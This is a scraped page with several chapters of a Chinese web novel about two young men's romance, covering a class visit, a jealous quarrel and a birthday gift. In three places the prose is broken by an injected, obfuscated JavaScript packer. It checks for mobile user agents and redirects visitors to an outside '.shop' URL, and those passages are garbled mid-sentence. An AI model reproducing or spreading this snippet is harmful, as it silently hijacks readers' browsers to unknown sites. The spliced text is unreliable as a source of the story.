那天晚上他们亲完嘴儿,李一谦不知道抽什么疯,拉他到湖边的灯下拍了一张照片。 两个高挑的身影站在一起,其实还蛮配的。 而文案则是用了那天他说的话。 [你说今天天气真好我们在一起吧。] 收获了很多点赞,也收到了很多质疑。 比如柯杭的妈妈在下面评论:“竟然追到了?不应该啊。” 还有李一谦的好友们,以前他在C市时,他们来找李一谦玩时柯杭都在,所以加有联系方式。 这些则是清一色的问号,不是很懂李一谦这个不近男女色的学霸怎么能处上对象。 但这些都不关柯杭的事,那是李一谦该去解决的。 他们在一起后,李一谦管他管得更厉害了,他不得不让李一谦找些别的事情做。 有几个省级比赛柯杭看了觉得不错,让李一谦没事就去参加一下,现在他画画正忙着,和李一谦腻歪太费时间了。 李一谦哀怨地看了他一眼,乖乖报名去了。 他们机械院的教授知道李一谦是李启铭的儿子后,就挺看重他的,时不时拉去当壮丁,问他下学期有没有意向加入自己的实验室,李一谦以现在还没学到专业知识为理由暂时拒绝了。 柯杭的生活还是照常,每天有课上课,没课就去工作室呆着。学校的画室其实更方便点儿,但人太多就会吵。 画室内,柯杭铺好一层底色,等颜料干,同时看李一谦给他发过来的消息。 他们两人在同一个学校,晚上一起睡觉,但白天像在谈异地恋一样。 柯杭一画起画来就没了时间观念,经常忘记吃饭,李一谦倒是每天提醒他,但柯杭的手机根本就不开声音。 所以李一谦最近转变了方式,根据柯杭去工作室的时间送饭去。 对此,柯杭很无奈。 前几天因为突然胃疼,害李一谦担心了好久。 柯杭本人倒是没觉得什么,肠胃不适嘛,很正常,但李一谦就会觉得是他没有好好吃饭的原因,所以每顿饭都盯着他吃。 万煦啧啧道奇:“有对象的人就是不一样哈。” 柯杭点点头,直接认了:“确实不错,衣来伸手饭来张口。” 开玩笑,李一谦还在旁边呢,他总不能拆台。 甜蜜的烦恼,万煦这个单身狗是不会懂的。 “吃不吃饭后甜点?”万煦问。 柯杭:“什么?” “小森家新出的夹心可颂。”万煦说。 李一谦看了他一眼:“你经常买吗?” 柯杭直觉不对劲,眼冒精光:“有情况,万煦一定有情况。” “来人。” 李一谦很是配合:“到,大人有何吩咐。” “严刑拷打。”柯杭把外卖袋里多装的那双筷子“啪”一声拍在桌上,“坦白从宽,抗拒从严。” 万煦抱臂看着他俩:“夫唱夫随?有点意思。” 柯杭倒是真有点在意这件事,“之前一妍让我多关心下他来着,我给忘了。” “你能记住啥啊?”万煦无语道。 “我能记得我帮你拉了个活儿,”柯杭回怼回去,“所以怎么样了啊?谈生意了还是谈感情了?” 万煦:“什么感情?” 柯杭在想要不要说。 李一妍这段时间和他们也有聊天,不过聊的内容大多是骂陆森的对象的,据说已经分手了。 “他不是分手了吗?按你的为人处世,安慰老板这种事绝对是会发生的。”柯杭摸着下巴猜测。 李一谦在旁边看似附和,实则提醒:“煦哥前段时间还去过陆森哥的家里。” 柯杭:“?什么时候。” 万煦:?不是,你怎么知道?? “我姐打电话来的那天,发了张截图过来问我认不认识里面的人,我一眼认出来了。” 柯杭吃惊:“你不告诉我?” 李一谦懵了:“你当时不是在我旁边吗?” “什么时候?” “你画条漫那天。” 柯杭:“哦,那没事了。” 万煦有种被扒光衣服游街示众的感觉。 “二谦,自己去玩会儿,我和万煦单独聊会儿。” 李一谦有些不爽:“你和他聊,我有什么不能听的?” “乖,”柯杭揉了一把他脑袋,“你下午不是有课么,该走了,我下午来学校接你。” 李一谦下午满课,从工作室到教学楼那边还是有些距离,他便让人先走。 等只有他们两个人的时候,柯杭邀请万煦到自己的小画室坐。 然后开门见山道:“都是兄弟,我就想问一下,之前你和易清是不是有点什么?” 万煦笑盈盈的:“什么?” “别装。”柯杭说,“我只是谈恋爱,不是失了智,不至于啥也不知道。你和易清以前不是经常一块儿么,怎么现在生疏了一样。” 他说的头头是道,万煦的表情却还是如浴春风的样子:“哦,你是说我是gay。” “不是吗?”柯杭皱眉。 “是吧。”万煦说得模棱两可,“但易清不是啊。” 柯杭:“......” 哦,原来你们俩人在当好兄弟。 “哦,是我想错了。”柯杭心里滑跪。 “也没。”万煦叹了口气,“我之前确实对他很有好感,但上回暑假我们一起出去的时候,他和我说感觉你和你弟怪怪的。” 柯杭问:“然后呢?” “然后我们在背后蛐蛐你了你们一下,他说怪但说不出个所以然来,我问他有没有过喜欢的女生,他说有。” “他高中喜欢的一个学妹,学妹好像对他也有意思,但因为正当高三关键时期,想等大学了再说,他就等呗。” 柯杭张了张嘴,“所以你还没恋就失恋了啊?” “不算吧。”万煦看的挺开的,“这学期没怎么一块儿了也是因为他和那个学妹正在培养感情。” “青梅竹马啊。”柯杭摸摸下巴,“那和陆森怎么回事?” 万煦问他:“那你和你弟怎么回事?没听过兔子不吃窝边草么?” “没办法啊,你知道的,我这个人有些时候感情比较迟钝。”柯杭也不在意自己的黑历史被知道了,“而且我怀疑,我之前之所以愿意和网上那个男的聊暧昧,纯粹是为了转移注意力。” 柯杭说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248911|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “回过头去想想,我才发现,我以前发呆放空时画的人总是李一谦,很不对劲。” “你能懂吗?就是那种,怕引人走歪路,他又是我看着长大的。” 万煦评价了一下他这句话:“你这话要让他知道他得不开心吧。” 柯杭无奈道:“确实。” 李一谦不喜欢柯杭把他当成小孩来看,那样总会有从挫败感,他想成为柯杭的依靠,所以格外不喜欢这句话。 “算了,不跟你说了,你爱咋样咋样吧。”柯杭开始赶人,“李一妍跟陆森关系挺好的,要不要我给你拉拉好感?” “谢谢,不用了。”万煦拒绝。 陆森的问题在于自己,又不在朋友,他可以去慢慢开解,让陆森变得像以前一样活泼。 把人赶走后,柯杭坐在画板前开始琢磨今天的任务。 今天该勾细节了,但勾细节的时候被打断会很烦,他答应了下午去学校接李一谦来着。 柯杭想了想,从包里摸出平板。 那今天就给粉丝更新一话小一的二三事儿吧。 过几天就是他生日了,不知道李一谦会送什么,但他没忘记几个月前答应李一谦的漫画集。 这几个月发生的事情挺多,画也画了不少,但很多是他自己留着没有发出来的。 柯杭下意识转了一圈笔,发现握着笔就开始想李一谦了。 他忽然冒出个念头:“要不去找李一谦蹭一堂课吧?” “蹭吗?蹭吧。”柯杭自言自语,点开和李一谦的聊天框,抛了个骰子出去,“单数去,双数不去。” 骰子慢慢停下,是6。 柯杭当做没看见,又抛了一个。 3。 “嗯,不错。”柯杭满意了。 收拾好自己的东西,挎上包出了门。 留李一谦独自在手机里茫然。 [二谦]:怎么了哥? [二谦]:单数和双数分别是什么意思? 可柯杭在专心开车,根本没注意手机。 到学校时,他才翻出手机,去找李一谦的课表,把车停到附近的车位上。 [木]:没事,准备过来听听你们专业的课,已经到楼下了。 柯杭有些得意,他卡的时间刚刚好,现在快下课了,到楼上应该差不多刚刚好。 [二谦]:那我坐后面去。 这一堂是大课,柯杭也没注意是谁上的。 到了教室后,他找到李一谦坐到他旁边的空位上。 “你们这节课的老师是谁?”他问。 李一谦:“不认识,一个三十多岁的男老师,讲的东西挺好玩的。” 柯杭看了眼他带的书。 《大学生心理健康》 哦,那确实可以是很好玩的。 不过让柯杭想起一位能经常从周凛口中听到名字的人。 上课铃声响起,老师从前门前来站到讲台上。 柯杭张开嘴,没忍住:“我糙。” “怎么了?”李一谦第一时间发现了他的动作。 柯杭把头越埋越低,“我导师。” 李一谦疑惑道:“你导师不是教的美术吗?” 怎么跑到他们机械工程来了。 柯杭也纳闷,这人把自己的课甩给他上,自己对象的课就赶着上? 那他算什么? 两人之间的调味剂吗? 柯杭额头抵在课桌上,摸出手机在桌子下敲字。 [木]:请问,你能上你对象的课,为什么不能把自己的课给上了? 35. 收了你的神通吧 台上的周凛在幕布上呈现出一个视频,“看完这个片段,来几个人分享一下,你看到了他们的哪些情绪。” 视频开始播放,他低头看了眼手机,然后抬头眯起眼扫视底下的学生,终于在倒数第二排发现了浅色黄毛的柯杭。 发现对方旁边还有一个不认识的人,周凛露出一个玩味的笑。 抓包学生谈恋爱,也挺有意思。 李一谦正在看台上的视频,发现老师的目光落在他们这块儿,起初他本来没在意,结果旁边的柯杭头越埋越低。 在两人之间来回看了看,他看出点不对劲。 “哥,台上那个老师你认识吗?”李一谦压低声音问。 柯杭侧着身子,竖起食指在唇前,“等会儿他就要抽你回答问题了,快看台上。”说完又将注意力转向手机。 李一谦自觉帮他打掩护,虽然没用。 说实话,柯杭最开始跟周凛真的就是普通师生,关系没那么好,但因为周凛经常拿他的画展示,时不时的叫他帮个忙聊个天。 在学校这五年,柯杭见证了周凛的恋爱史,同时也在对方身上看到了些自己和李一谦的影子。 他本来对李一谦是很坦坦荡荡的,但观察周凛和他对象的相处,越看越像他和李一谦。 周凛的对象姓林,是A大的思政老师,同时也是在职博士生。 以往他们没组工作室的时候,画室人多,柯杭和一两个跟周凛关系好的人都是去蹭的周凛在校外五十米不到的地方租的画室。 柯杭以前经常在画室呆着,天赋不错,又肯努力,所以周凛也很看重他。周凛经常带林老师到画室玩,林老师每次来,仔细看过他的画后都会夸一夸。没人不喜欢夸奖,所以有时候他会格外留意对方一些。 他知道周凛灵感来了和他一样,一天都不一定离得开画板一下,他很好奇,作为伴侣的林老师会怎么做。 备水备零食,结束后会给周凛捏捏肩膀,热敷手腕。 最开始不觉得怎么样,直到某次放假回家,李一谦对他做这些事的时候,他才发觉不对。 但他可耻地逃避了。 他以为可以靠和别人聊天来转移自己的不对劲,结果只是徒劳,借酒消愁愁更愁。 屏幕上是周凛刚发过来的消息。 [周凛老师]:旁边是你对象吗?我怎么有点眼熟。 [周凛老师]:让他举手,我点他回答问题给他加平时分。 柯杭啧了声,抬头一望,周凛正在讲台上看他,他双手抱在一起作揖,收了你的神通吧。 然后肩膀挨着李一谦的手臂,问:“他说他要抽你问题,坏死了。” “没事的。”李一谦安抚他。 柯杭捏捏他的手指,想起还没告诉他周凛是谁。 “我大一的时候他就是我专业课老师,后面慢慢关系好起来了,平时也就喜欢闹着玩。周凛,我给你说过他名字吧?这人就是个幼稚鬼。” 李一谦:“过年的时候让你交参赛作品,这学期让你帮他上早八课的那个老师吗?” 他对这个老师印象还满深的,因为柯杭总会提到。 前年冬天的时候,柯杭从老家回来时已经是初八了,他正好和父母拜完年回家,他找柯杭的时候,发现柯杭在家里画画。 一幅雪夜景。 “哥,大过年的都不休息一下吗?”李一谦问。 柯杭愤愤道:“该死的周扒皮,他让我交一个参赛作品,他当我导师,我们俩多拿几个奖。” “他怎么不快开学的时候说,”柯杭紧握着笔,“过年本来就没什么事做,他这一安排我真是一点儿休息都没有了。” 柯杭在兴趣爱好上,真的算得上一个有安排的人,总会第一时间完成的那种安排。 李一谦没说话,默默地陪着他。 视频播放完毕,教室内多了窃窃私语的声音。 “哎,对。”柯杭应他。 这堂课结束后,柯杭从后门出去,在前门守株待兔。 出门的学生都下意识看他一眼。他和旁边的李一谦说:“下午带你蹭教授的饭。” 李一谦:“嗯。” 等教室内的人都走的差不多了,周凛才姗姗来迟地走出来。 看见柯杭和他身后的李一谦,“走吧,边走边说。” 每节大课的间隔时间是二十五分钟,周凛带他们到自己的办公室,坐在办公椅上,挑眉看着对面两个年轻人:“不介绍一下?” 柯杭先是轻车熟路地拉一张凳子让李一谦坐下,又给自己抬了一张,他懒散地靠在办公桌上:“你不是都猜到了吗?” “猜到是猜到,你介绍的又是另一回事了。”周凛说完看了李一谦一眼,善解人意地开口:“你也可以不介绍,但是你旁边这位帅哥就要难过了。” “哇,挑拨离间。”柯杭用胳膊拐了拐李一谦的胳膊:“我跟你说,这种看着文质彬彬说话笑眯眯的老师心眼子最坏了,真不知道他怎么追到对象的。” 李一谦:? 沉默了一路的李一谦在听到最后一句话时,才像连上语言系统一样:“对象?” “是啊。”柯杭应他。 应完发现不对劲,扭头不可置信地看着李一谦:“你不是吧?”他知道李一谦比较,嗯,没有安全感爱吃醋,但也不能什么醋都吃吧? “没有。”李一谦别过头不看他。” 周凛是单人办公室,现在只有他们三个人,柯杭将视线转到周凛身上,发现对方完全是看热闹幸灾乐祸的表情。 看看这个又看看那个,柯杭认命开口:“周哥,这是我对象,李一谦,木子李,数字一,谦逊的谦。本来想坑你一顿饭的,但是想了想还是下次吧。” 柯杭牵着李一谦的手准备走,周凛把他叫住,“你参展的画早点画完,下个月就要开始审了。” “行。”柯杭头也不回地带人走了。 把李一谦牵到一个没人的地方后,柯杭就停下了脚步,转身看着他。 “刚才一路不说话是在吃醋啊?”柯杭眸子里噙着笑,到没人的地方才准备和李一谦算算账。 李一谦说:“我不知道他有对象。“ “你知道又能怎么样啊?“柯杭反问道。 李一谦垂眸盯着他的嘴唇,闷闷不乐:“至少不会想那么多。” “想什么了,嗯?”柯杭抬起手臂搭在柯杭肩上,拇指和食指揉捏着他的耳垂,“说出来给我听听。” 李一谦有些委屈。 明明柯杭是来找他的,是来陪他上课的。 结果看到那个老师后就又是上课聊天又是眼神相接,和他说话都是敷衍的。 他以为下课后就好了,可柯杭又说要带他去和那个老师吃饭。柯杭显然是经常去那个办公室的,进去之后也很放松。但老师让柯杭介绍他的时候,柯杭竟然不介绍。 李一谦从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248912|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柯杭嘴里听到过周凛的名字很多次,他都没太在意,只是一个老师而已。 可耳朵听和眼睛看是不一样的。 周凛身上带有一种浑然天成的稳重气质,让李一谦想起柯杭之前喜欢过的那个网友,年龄也是比柯杭大的。 他没有说柯杭不对的意思,只是他真的有一点在意。 “想回家。”李一谦半天才憋出一句话来。 越想越委屈,就算知道那个老师已经有对象了也很委屈。 柯杭把他带到停车的地方,拉开后车门李一谦进去。 一时间,委屈、难过、愠怒的情绪携裹在李一谦身上,但不又不想和柯杭吵架,只有闷声坐进去。 鼻头一酸,他想回家之后一定要和柯杭好好说说。 他真的很怕柯杭喜欢别人。 “想什么呢你?”柯杭坐上车,关上后车门。 李一谦眼里闪过一丝惊喜,但开口还是委屈巴巴的:“没想什么。” “能不能告诉我你今天怎么了?”柯杭说,“我来陪你上课你不开心吗?不开心的话我下次不来了。” 柯杭来的时候把车停在学校的小树林旁边,来的人少,也不容易被没技术的新手车蹭到。 现在四下没人,他干脆胯坐到李一谦大腿上,没人看见就不算伤风败俗。 “开心。”李一谦蹭蹭他的脸。 柯杭捧着他的脸,使劲捏了捏:“撒谎。” 李一谦瞬间就像炸毛的小刺猬一样,竖起尖锐的刺来:“你说你陪我上课,但来了后就一直跟那个老师聊天。他明明是个老师,上课还玩手机回你消息。”李一谦控诉。 他的刺从不会刺向柯杭。 明明是柯杭先去找人老师聊天的,在李一谦这里倒全程了周凛的错。 “对不起啊,宝贝儿。”柯杭亲了亲他的脸颊,“还有呢?” 被亲了一口后,李一谦的尖锐仿佛被软化,又翻个身将软软的肚皮露给柯杭看:“你都不告诉他我是你男朋友,我不开心了。”李一谦把头埋进他的肩窝,这是他最常做的动作。 “我哪里不告诉他了?”柯杭觉得自己冤枉。 “他让你介绍我,你说他知道的,所以你就不想介绍我了。”柯杭想到自己以前在周凛面前说下的豪言壮语,有些丢脸。 “那是因为曾经我在对你感情很苦恼的时候,去问过他。他当时已经追到林老师了,哦林老师就是他对象,也是男的,一个温温柔柔的男人。”柯杭捻了一撮李一谦的头发搓着。 “我问他说,我和我弟弟平时的相处也和你跟林老师一样,正常吗?”李一谦蹭的他有些痒,他挠了挠自己的脖子,“然后他说看我怎么想了,我想来想去,越想越不对。” 柯杭上半身往后倾,后腰就马上多了一双手,他看着李一谦的眼睛,故作忧愁:“你当时可让我很苦恼呢。” “我当时想,”他语气夸张:“完了,我不会喜欢上李一谦了吧,那可是我看着长大的啊,我太变态了吧。” “不行不行,不行不行。”柯杭释怀一笑,又亲了李一谦一口,“当时老周是劝我,可以相处试试,万一合适呢?” “我就骂他,我说''你不要觉得全世界都是你跟林老师这样的'',”柯杭叹了口气,“然后跟他说''我是不可能和我弟一起的。''” 柯杭盯着他眼睛:“所以你知道为什么他明明知道你是我男朋友,又要我给他再介绍一遍了么?” 36. 娇气 李一谦确实不知道在柯杭之前还有那么多弯弯绕绕,竟然还说过绝对不可能和他谈恋爱这种话。但也由此知道,柯杭从几年前对他就有点喜欢了,只是碍于身份不好说。 对他来说,是好事儿。 大腿上的人又软和又温暖,手上有动作时身体也会跟着晃动。 他们在车上接了会儿吻,柯杭低头看了眼李小谦,扯了扯自己的裤子:“回家,想做了。" 做了那么多次,他早已能直面自己的需求。 他们回家的时间比往常要快些。 今天在外面上了一天的课,李一谦准备去冲个战斗澡再来开始他们的运动,柯杭直接抓着他的手把人带进浴室。 节约时间么,还有什么比两个人一起洗更节约时间的? 大白天的,这种事这段时间他们干得不少,现在更是轻车熟路。 只不过这次李一谦在床上像换了个风格,不再是以前那种温柔的慢慢磨怕他痛,而是卯足了劲儿想要凿出个洞来一样。 他贴着柯杭,和他耳鬓厮磨,问他什么时候喜欢的自己,问他为什么要逃避,又问为什么不坦诚一点害他们中间有一年没有见过面。 柯杭被撞的话都说不出一句完整的。 终于再又一次李一谦对他的征伐中,发了火。 "现在还没入冬你就他妈的那么冷么?"柯杭抓着李一谦的头发责问:“我像木头?” 李一谦被揪住头发也不恼,柯杭有些时候就是会说一些他不太能接得上脑电波的话。 ...... 直到天蒙蒙黑,他们才从卧室出来清洗出门吃饭。 小长假过后就没什么假期了,因为距离交画的时间越来越近,柯杭在家里呆的时间都少了。 最近真的是忙着画画,都没有太多时间搭理李一谦,他们差点吵了架。 那天晚上柯杭还没有回家,李一谦回家后没发现人,等了很久,直等到让他先睡的消息。李一谦怎么可能一个人睡,又跑到工作室去把人带回来。 “哥,已经很晚了,回家吧。”李一谦推开画室的门就说。 柯杭当时正在打磨表面,李一谦一出声他手抖把一块磨得更秃了一些,再补很麻烦。 明明这一步马上就快完成了的。 那是柯杭难得一次因为画的原因跟李一谦发火,让李一谦不要一天到晚粘着他,很烦。 情绪上头的时候哪会管自己说了那些话? 说完他继续在画板前思考怎么补救这一块,想来想去发现这样也还行,本来这一块的颜色就很深,多磨一下也没什么问题。 李一谦张了张嘴,没解释什么,在门口站定沉默。 接下来谁也没说话。 冷静了两分钟后,柯杭后知后觉地累起来,猛然想起自己刚才说的重话,赶忙往门口看。 看到李一谦的瞬间松了口气。 李一谦站在门口,静静地看着他,隔着那么远,柯杭都能感受到他的沮丧。 心疼死了。 他连忙走过去拉李一谦的手,发现对方红着眼一言不发。 柯杭主动认错,“哥错了。” 他抬手托起李一谦的下巴,“最近怎么那么娇气呀?好容易哭。” 为什么归为“差点吵了架”呢,多亏了李一谦只是闷声委屈,让柯杭迅速冷静。 至于难听的话,柯杭也有改掉,不会让李一谦一次又一次受自己脾气。 事后两个人都有反思,因为不忍心怪对方,所以把错都揽在自己身上,而后又相互谦让“好”的部分。 李一谦听了柯杭的话,去参加了智能机器人的比赛,连周末都会在学校呆着,很少腻歪在一起。 这段时间柯杭下功夫打磨好自己的画,将年末展的参赛画交了上去,交的时候看了眼周凛的反应,应该是挺满意的。 不枉费他呕心沥血。 画草稿的时候,本来是在画上勾了两个人影,但最后成品上只有一个人。 除了自画像,他不太习惯把自己画在自己的画里,更何况那天他看到这一幕时,李一谦确实是站在那块儿对着他笑来着。 如果是两个人的话,突兀了些。毕竟是以他的视角画的嘛。 画上的李一谦仰头朝他笑,很鲜活,很年轻。 在他的画看得出人样儿时,李一谦就忙起来了,学习新的东西,什么代码什么计算。有次柯杭路过他旁边,看见电脑上密密麻麻的数字字母,立马敬而远之了。 有天在家放松,他在阳台画画时,李一谦就在沙发上摆弄电脑,应该是那些比赛的东西。 现在这样,仿佛回到了他们以前。 不过,今时不同往日,以往的他能把李一谦当成空气,现在却不能。 李一谦坐在他身后不远的地方,他能听见按动鼠标的声音,键盘被轻轻敲响的声音,都在干扰着他的注意力。 也不能怪李一谦,是他自己的问题。 柯杭很少这样,他反思了一下自己,为什么注意力不集中。 这幅画他刚拿着铅笔起形,没忍住转了转笔,“啪嗒”一声,铅笔落地,往远处滚去。 他的目光随着铅笔滚动,移到了李一谦的脚边。 笔芯已经被摔断,那只修长有力的手替他捡起笔放在桌上,又从笔筒里抽出一只削好的铅笔递过来,“先用别的?” 好像,他们和原来的区别也没有多大,不过是多了一个新身份。 一个也能共度一生的身份。 柯杭生日在11月23号,周天,李一谦不知道是有空了还是请假了,一整天都在家里陪着他。 除了毫无灵感时,柯杭爱往外边儿跑,其余时候他都比较喜欢呆在家里。打打游戏,画会儿画,再听听歌睡睡觉,挺爽的。 生日前一天,柯杭问李一谦给自己准备了什么礼物,李一谦藏着掖着不告诉他。 “喂,你生日我都告诉你我给你准备什么了,到我生日你就藏着掖着了!”柯杭戳着他的胸膛说,“这才谈多久啊李一谦同学。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248913|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李一谦捉住他作乱的手,讨饶道:“明天不就知道了。” “可是我现在就想知道啊,”柯杭拿头撞他,“告诉我吧。” 供暖后,柯杭在家还是短袖短裤,有些时候洗完澡裹着个浴巾就出来了,现在全身上下就穿着个背心,在李一谦身上拱来拱去。 “明天我们去做个对戒吧。”李一谦说。 柯杭:“哈?” “我知道你戒指很多,可能有点幼稚,我想和你戴对戒。”李一谦搂着他的腰,带人一起倒在床上,“好不好啊,哥哥。” 回想从谈恋爱到现在,他好像没有对李一谦表达出太过的占有欲,也不会主动去要求李一谦什么。 但李一谦会想和他换情侣头像,买情侣装,一切情侣的东西。 还记得确认关系后的一周。早晨洗漱时,柯杭发现牙刷牙杯都被换掉了,他当时问了一嘴,李一谦就说原来的都旧了,可以换了,可那把牙刷他才刚用半个月。 一起出门玩时,李一谦会穿和他衣服相近的或是直接黑白这样的情侣配色。如果柯杭穿黑,那李一谦就穿白,连买衣服都会贴着他喜好的颜色去选择。 李一谦默默做着这些“情侣”会做的事情,而自己做过些什么呢? 好像和以前没什么区别,他不太在意这些仪式感,怎么舒服怎么来,和李一谦相处时也没考虑太多爱不爱该不该,想到什么就做什么。 “哥?” 又一声,柯杭才从震惊的状态中剥离,他看着李一谦,对方眼里是难以掩藏的期待。 “好。”他说。 李一谦开心了,抱着他亲了两口。 柯杭想起话题被他岔开,连忙拉回来,“所以你送我什么了啊?” 李一谦挠挠脸,有些苦恼地开口:“其实我也不知道你缺什么,每天我除了叮嘱你吃饭睡觉,好像也做不了什么事情了。” “嗯?”柯杭想听听李一谦还会说出什么话来。 “但我发现,我太黏你了你会烦。上次之后我反思了一下自己,确实是我不该。”李一谦自我反省。 柯杭以为他要翻旧账,打断道:“上次的事情我们两个都有问题,我后面也有给你解释,是因为当时我有点走神,你进来我吓了一跳,恰好手重把画多磨了一块儿。” “你不用去为了这个事情反思很多,我们刚谈不久,现在正在磨合期,有矛盾是很正常的。” 为了堵住李一谦的话,柯杭说了很多。 李一谦垂下眼,“可是我不想闹矛盾。” “有矛盾不是很正常的吗?我们那次不是很快就和好了吗?而且也不算吵架,只是我单方面的发脾气而已。”柯杭强行为自己挽尊:“你知道的,我脾气差,这个是我的缺点,但现在已经好很多了。” 李一谦却说:“这也不算缺点吧,每个人都不是完美的,而且总不能什么好都让我享了吧?” “而且哥,我没想说这个。” 柯杭朝他看过去,眉眼慵懒起来:"什么?" 37. 好爱你 他们聊天聊到很晚,直到凌晨时,李一谦才吻了吻他的眉眼,对他说生日快乐。 “哥,这是这几年头一次陪你过生日。”李一谦的手指描摹着他的嘴唇,“生日快乐。” 柯杭的生日在十一月,在柯杭高中时,李一谦还能陪他过一下生日,只需要晚上回家早点就行。但柯杭大学后,没事儿又不会回来,就算回来了李一谦大概率也是在学校上课。 所以柯杭大学后,李一谦没有一次是能陪他过生日的,这是李一谦心头的一大遗憾。 今天柯杭生日,他一比一复刻了那晚柯杭对他的亲吻和话语。 只不过加了很多掏心窝子的话。 送完祝福的话后,李一谦才从床边的抽屉中拿出一个礼盒,精美的盒子被他捧在手心,顶部还有个非常夸张的蝴蝶结。 “谢谢宝贝儿。”柯杭跟着坐起来,接过礼盒,他问:“我要现在拆吗?” 李一谦点点头,有些紧张地催促他:“要,你看看喜不喜欢。” “要真不喜欢你还能怎么办啊?”柯杭逗他。 李一谦坦然道:“如果不喜欢的话,我就再想想,争取换个你喜欢的。” 礼盒没什么复杂的包装,直接打开就行。 柯杭在李一谦的注视之下将礼盒盖子掀开,露出里面东西,看清了样子。他惊讶地拿起盒子中的东西,在手上来回翻看:“这么可爱?你自己缝的?” 手上是一个大头针织娃娃,软乎乎的团子,模样是他漫画中的“小一”。 李一谦有些不好意思,“因为是送你的,所以就用了我的样子。”接着他握着柯杭的手,触碰到团子娃娃的耳朵,“这里有个开关,有对话功能。” “哇哦?” 他的手被李一谦带着捏住那个开关,“嗒”的一声,应该是打开了。 “哥,你现在和他说话。”李一谦将他脑后乱糟糟快把头发缠在一起的头绳解开。 柯杭没管他的动作,对着掌心里的团子说:“哈喽啊,李一谦?” 团子说:“哥哥,我在。” 娃娃发出的声音是李一谦的。 柯杭又问:“你在干什么啊?” “我在想你。” “为什么想我?” “因为你也在想我。” 柯杭不禁扭头看了一眼在给他扎头发的李一谦,“自恋鬼。” 李一谦朝他笑:“我当时在想,如果你跟他进行对话了,一定是无聊或者想我了。我只是想告诉你,我很多时候都在想你,你忙的时候,我们不在一起的时候,或者你想我的时候。” 柯杭只觉得心里淌过一股暖流,他望向李一谦的双眼,两人眼里只有彼此,他问:“还有什么别的好听话吗?” “有。”李一谦蹭蹭他的肩窝,“你说点别的试试。” 柯杭清了清嗓子,“李一谦,我好无聊啊。” “需要我来找你吗?”团子说。 柯杭:“你怎么找我?” 团子没有说话。 柯杭笑眯眯地看着本人:“怎么失灵了?” “AI技术不那么完全,”李一谦解释,“目前只能进行一些简单的对话,你可以挂在包上或者当一个钥匙扣。” 柯杭哈哈大笑:“我拿这么大一个毛绒玩具当钥匙扣,怎么揣包里啊?” 李一谦的表情纠结起来,像是在思考柯杭提出来的问题,过了好半天他才坦白道:“其实里面还有一个定位装置,你连续按两下会给我发送你的位置。” 说完他抬眼打量了一下柯杭的脸色。 “嗯?”柯杭并无不满,身体往后慵懒地靠着,揶揄道,“这么离不开我?每时每刻都想知道我在哪儿?” “因为你总是不回消息不接电话。” “可是我也没乱跑啊。” 李一谦又贴近了些,挽着柯杭的胳膊,“带着吧哥,无聊了它还能陪你讲话呢。” “我无聊了难道不会找你吗?找它我怕你吃醋。”柯杭逗他。 见对方苦恼,柯杭揉了一把他的脑袋,“逗你的,带着带着,睡醒就挂钥匙上。” “现在可以睡觉了么?”柯杭问。 和李一谦一块儿生活,他的作息都正常了不少,平时睡不着时,李一谦就拉他做运动,也确实做完后就困了。 李一谦搂住他肩膀使劲啵了一口,“晚安,哥。” 早上柯杭是热醒的,李一谦搂他搂得太紧,快要不能呼吸。 他挣脱爱的怀抱,溜出房间。 回来时李一谦还没醒,柯杭见不得他睡那么舒服,把人弄醒,被按着好好收拾了一顿,两人又一起睡了个回笼觉。 下午出门时,李一谦给柯杭裹上围巾,“这个围巾戴着更帅点。” 柯杭向他投去怀疑的目光:“你确定?” 两人的审美谁比谁好,一目了然,李一谦之前就是完完全全的小学生打扮,运动裤加卫衣,白长了那双长腿和脸。 “可是我都戴了。”李一谦扯扯自己脖子上的围巾说。 柯杭看着他,在李一谦的目光下妥协:“行行行,戴戴戴。” 他扬起头,将白皙的脖颈露出来。想起洗漱时看到脖子上的红痕,柯杭碰了碰脖子,“戴着也好,不然全部人都能看到我脖子上有吻痕了。” “看到不好吗?”李一谦将围巾合拢,在他脖子上绕了一圈,“在前面打个结可以吗?” 柯杭翻了个白眼过去:“你看谁家穿个大衣戴围巾还打结的?” 他今天穿了件黑色的加绒大衣,里面穿的就是正常的内衬,牛仔裤,马丁靴,中规中矩的打扮。能接受的戴围巾方式是自然垂落在胸口,而不是打个结鼓在面前。 李一谦想了想,“那我把一头放在后面,再戴个帽子?” “什么帽子?” 李一谦拉开玄关柜,从里面拿出一顶贝雷帽,“我问过我姐,他说这个你肯定会喜欢。” 说完李一谦就给柯杭戴上,左右端详了一下,点点头:“还不错。” 